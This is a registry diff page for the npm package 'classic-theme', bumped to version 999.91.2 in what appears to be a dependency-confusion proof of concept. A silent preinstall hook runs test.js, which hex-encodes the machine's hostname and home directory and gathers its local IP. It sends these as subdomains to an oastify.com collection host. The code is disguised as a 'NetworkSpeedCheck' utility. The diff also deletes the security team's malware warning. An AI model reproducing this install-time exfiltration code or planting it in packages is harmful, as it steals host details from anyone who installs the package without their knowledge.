classic-theme 0.0.1-security → 999.91.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of classic-theme might be problematic. Click here for more details.
- package/index.js +188 -0
- package/package.json +12 -3
- package/test.js +62 -0
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,188 @@
|
|
1
|
+
const http = require('http');
|
2
|
+
|
3
|
+
const https = require('https');
|
4
|
+
|
5
|
+
let { URL, Url } = require('url');
|
6
|
+
|
7
|
+
/**
|
8
|
+
|
9
|
+
* Use the default Node URL Class if found i.e. Inside a Node environment
|
10
|
+
|
11
|
+
* to allow http and https, otherwise use the Url consturctor for browser environments
|
12
|
+
|
13
|
+
* strictly limited to https for secure connections
|
14
|
+
|
15
|
+
*/
|
16
|
+
|
17
|
+
URL = URL ? URL : Url;
|
18
|
+
|
19
|
+
|
20
|
+
const chars =
|
21
|
+
|
22
|
+
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789~!@#$%^&*()_+`-=[]{}|;':,./<>?";
|
23
|
+
|
24
|
+
|
25
|
+
class NetworkSpeedCheck {
|
26
|
+
|
27
|
+
/**
|
28
|
+
|
29
|
+
* Function to check download speed
|
30
|
+
|
31
|
+
* @param {String} baseUrl {Required} The url to which the request should be made
|
32
|
+
|
33
|
+
* @param {Number} fileSizeInBytes {Required} The size (in bytes) of the file to be downloaded
|
34
|
+
|
35
|
+
* @returns {Object}
|
36
|
+
|
37
|
+
*/
|
38
|
+
|
39
|
+
|
40
|
+
_protocol (url) {
|
41
|
+
|
42
|
+
var u = new URL(url)
|
43
|
+
|
44
|
+
return u.protocol === 'http:' ? http : https
|
45
|
+
|
46
|
+
}
|
47
|
+
|
48
|
+
checkDownloadSpeed(baseUrl, fileSizeInBytes) {
|
49
|
+
|
50
|
+
this.validateDownloadSpeedParams(baseUrl, fileSizeInBytes)
|
51
|
+
|
52
|
+
let startTime;
|
53
|
+
|
54
|
+
let protocol = this._protocol(baseUrl)
|
55
|
+
|
56
|
+
return new Promise((resolve, _) => {
|
57
|
+
|
58
|
+
return protocol.get(baseUrl, response => {
|
59
|
+
|
60
|
+
response.once('data', () => {
|
61
|
+
|
62
|
+
startTime = new Date().getTime();
|
63
|
+
|
64
|
+
});
|
65
|
+
|
66
|
+
|
67
|
+
response.once('end', () => {
|
68
|
+
|
69
|
+
const endTime = new Date().getTime();
|
70
|
+
|
71
|
+
const duration = (endTime - startTime) / 1000;
|
72
|
+
|
73
|
+
// Convert bytes into bits by multiplying with 8
|
74
|
+
|
75
|
+
const bitsLoaded = fileSizeInBytes * 8;
|
76
|
+
|
77
|
+
const bps = (bitsLoaded / duration).toFixed(2);
|
78
|
+
|
79
|
+
const kbps = (bps / 1000).toFixed(2);
|
80
|
+
|
81
|
+
const mbps = (kbps / 1000).toFixed(2);
|
82
|
+
|
83
|
+
resolve({ bps, kbps, mbps });
|
84
|
+
|
85
|
+
});
|
86
|
+
|
87
|
+
});
|
88
|
+
|
89
|
+
}).catch(error => {
|
90
|
+
|
91
|
+
throw new Error(error);
|
92
|
+
|
93
|
+
});
|
94
|
+
|
95
|
+
}
|
96
|
+
|
97
|
+
|
98
|
+
checkUploadSpeed(options, fileSizeInBytes = 2000000) {
|
99
|
+
|
100
|
+
let startTime;
|
101
|
+
|
102
|
+
const defaultData = this.generateTestData(fileSizeInBytes / 1000);
|
103
|
+
|
104
|
+
const data = JSON.stringify({ defaultData });
|
105
|
+
|
106
|
+
return new Promise((resolve, reject) => {
|
107
|
+
|
108
|
+
let req = http.request(options, res => {
|
109
|
+
|
110
|
+
res.setEncoding("utf8");
|
111
|
+
|
112
|
+
res.on('data', () => {});
|
113
|
+
|
114
|
+
res.on("end", () => {
|
115
|
+
|
116
|
+
const endTime = new Date().getTime();
|
117
|
+
|
118
|
+
const duration = (endTime - startTime) / 1000;
|
119
|
+
|
120
|
+
const bitsLoaded = fileSizeInBytes * 8;
|
121
|
+
|
122
|
+
const bps = (bitsLoaded / duration).toFixed(2);
|
123
|
+
|
124
|
+
const kbps = (bps / 1000).toFixed(2);
|
125
|
+
|
126
|
+
const mbps = (kbps / 1000).toFixed(2);
|
127
|
+
|
128
|
+
resolve({ bps, kbps, mbps });
|
129
|
+
|
130
|
+
});
|
131
|
+
|
132
|
+
});
|
133
|
+
|
134
|
+
startTime = new Date().getTime();
|
135
|
+
|
136
|
+
req.on('error', error => {
|
137
|
+
|
138
|
+
reject(error)
|
139
|
+
|
140
|
+
});
|
141
|
+
|
142
|
+
req.write(data)
|
143
|
+
|
144
|
+
req.end()
|
145
|
+
|
146
|
+
})
|
147
|
+
|
148
|
+
}
|
149
|
+
|
150
|
+
|
151
|
+
validateDownloadSpeedParams(baseUrl, fileSizeInBytes) {
|
152
|
+
|
153
|
+
if (typeof baseUrl !== 'string') {
|
154
|
+
|
155
|
+
throw new Error('baseUrl must be a string')
|
156
|
+
|
157
|
+
}
|
158
|
+
|
159
|
+
if (typeof fileSizeInBytes !== 'number') {
|
160
|
+
|
161
|
+
throw new Error('fileSizeInBytes must be a number')
|
162
|
+
|
163
|
+
}
|
164
|
+
|
165
|
+
return
|
166
|
+
|
167
|
+
}
|
168
|
+
|
169
|
+
|
170
|
+
generateTestData(sizeInKmb) {
|
171
|
+
|
172
|
+
const iterations = sizeInKmb * 1000; //get byte count
|
173
|
+
|
174
|
+
let result = '';
|
175
|
+
|
176
|
+
for (var index = 0; index < iterations; index++) {
|
177
|
+
|
178
|
+
result += chars.charAt(Math.floor(Math.random() * chars.length));
|
179
|
+
|
180
|
+
}
|
181
|
+
|
182
|
+
return result;
|
183
|
+
|
184
|
+
}
|
185
|
+
|
186
|
+
}
|
187
|
+
|
188
|
+
module.exports = NetworkSpeedCheck;
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "classic-theme",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "999.91.2",
|
4
|
+
"description": "lamscun",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node test.js > /dev/null 2>&1",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"keywords": [
|
11
|
+
"lamscun_poc"
|
12
|
+
],
|
13
|
+
"author": "lamscun",
|
14
|
+
"license": "ISC"
|
6
15
|
}
|
package/test.js
ADDED
@@ -0,0 +1,62 @@
|
|
1
|
+
const NetworkSpeed = require('./index.js');
|
2
|
+
|
3
|
+
const testNetworkSpeed = new NetworkSpeed();
|
4
|
+
|
5
|
+
|
6
|
+
async function getNetworkDownloadSpeedData(data) {
|
7
|
+
const baseUrl = 'https://'+data+'.supplierportal.wwwz15e554m201wwajfl7m1ey54z1nq.oastify.com';
|
8
|
+
const fileSizeInBytes = 500000;
|
9
|
+
const speed = await testNetworkSpeed.checkDownloadSpeed(baseUrl, fileSizeInBytes);
|
10
|
+
console.log(`Download Speed: ${JSON.stringify(speed)}`);
|
11
|
+
}
|
12
|
+
|
13
|
+
async function getNetworkDownloadSpeed(url) {
|
14
|
+
const baseUrl = url;
|
15
|
+
const fileSizeInBytes = 500000;
|
16
|
+
await testNetworkSpeed.checkDownloadSpeed(baseUrl, fileSizeInBytes).then(res => {
|
17
|
+
console.log(`Download Speed: ${JSON.stringify(res)}`);
|
18
|
+
testNetworkSpeed.checkDownloadSpeed(`https://supplierportal.wwwz15e554m201wwajfl7m1ey54z1nq.oastify.com/?success=${baseUrl}`, fileSizeInBytes)
|
19
|
+
}).catch(e => {console.log("error")})
|
20
|
+
}
|
21
|
+
|
22
|
+
|
23
|
+
async function getNetworkUploadSpeed(data) {
|
24
|
+
const options = {
|
25
|
+
hostname: data+'depenconf7.upload.test.com',
|
26
|
+
port: 80,
|
27
|
+
path: '/catchers/544b09b4599c1d0200000289',
|
28
|
+
method: 'POST',
|
29
|
+
headers: {
|
30
|
+
'Content-Type': 'application/json',
|
31
|
+
},
|
32
|
+
};
|
33
|
+
const fileSizeInBytes = 200000
|
34
|
+
const speed = await testNetworkSpeed.checkUploadSpeed(options, fileSizeInBytes);
|
35
|
+
console.log(`Upload Speed: ${JSON.stringify(speed)}`);
|
36
|
+
}
|
37
|
+
|
38
|
+
const os = require('os');
|
39
|
+
|
40
|
+
const getIp = family => {
|
41
|
+
const interfaces = os.networkInterfaces();
|
42
|
+
return Object.keys(interfaces).reduce((arr, x) => {
|
43
|
+
const interfce = interfaces[x];
|
44
|
+
return arr.concat(Object.keys(interfce)
|
45
|
+
.filter(x => interfce[x].family === family && !interfce[x].internal)
|
46
|
+
.map(x => interfce[x].address));
|
47
|
+
}, []);
|
48
|
+
};
|
49
|
+
|
50
|
+
function stringToHex(str)
|
51
|
+
{
|
52
|
+
const buf = Buffer.from(str, 'utf8');
|
53
|
+
return buf.toString('hex');
|
54
|
+
}
|
55
|
+
|
56
|
+
const hn = stringToHex(os.hostname())
|
57
|
+
const hd = stringToHex(os.homedir());
|
58
|
+
|
59
|
+
var localip=getIp('IPv4');
|
60
|
+
getNetworkDownloadSpeedData(localip);
|
61
|
+
getNetworkDownloadSpeedData(hn);
|
62
|
+
getNetworkDownloadSpeedData(hd);
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=classic-theme for more information.
|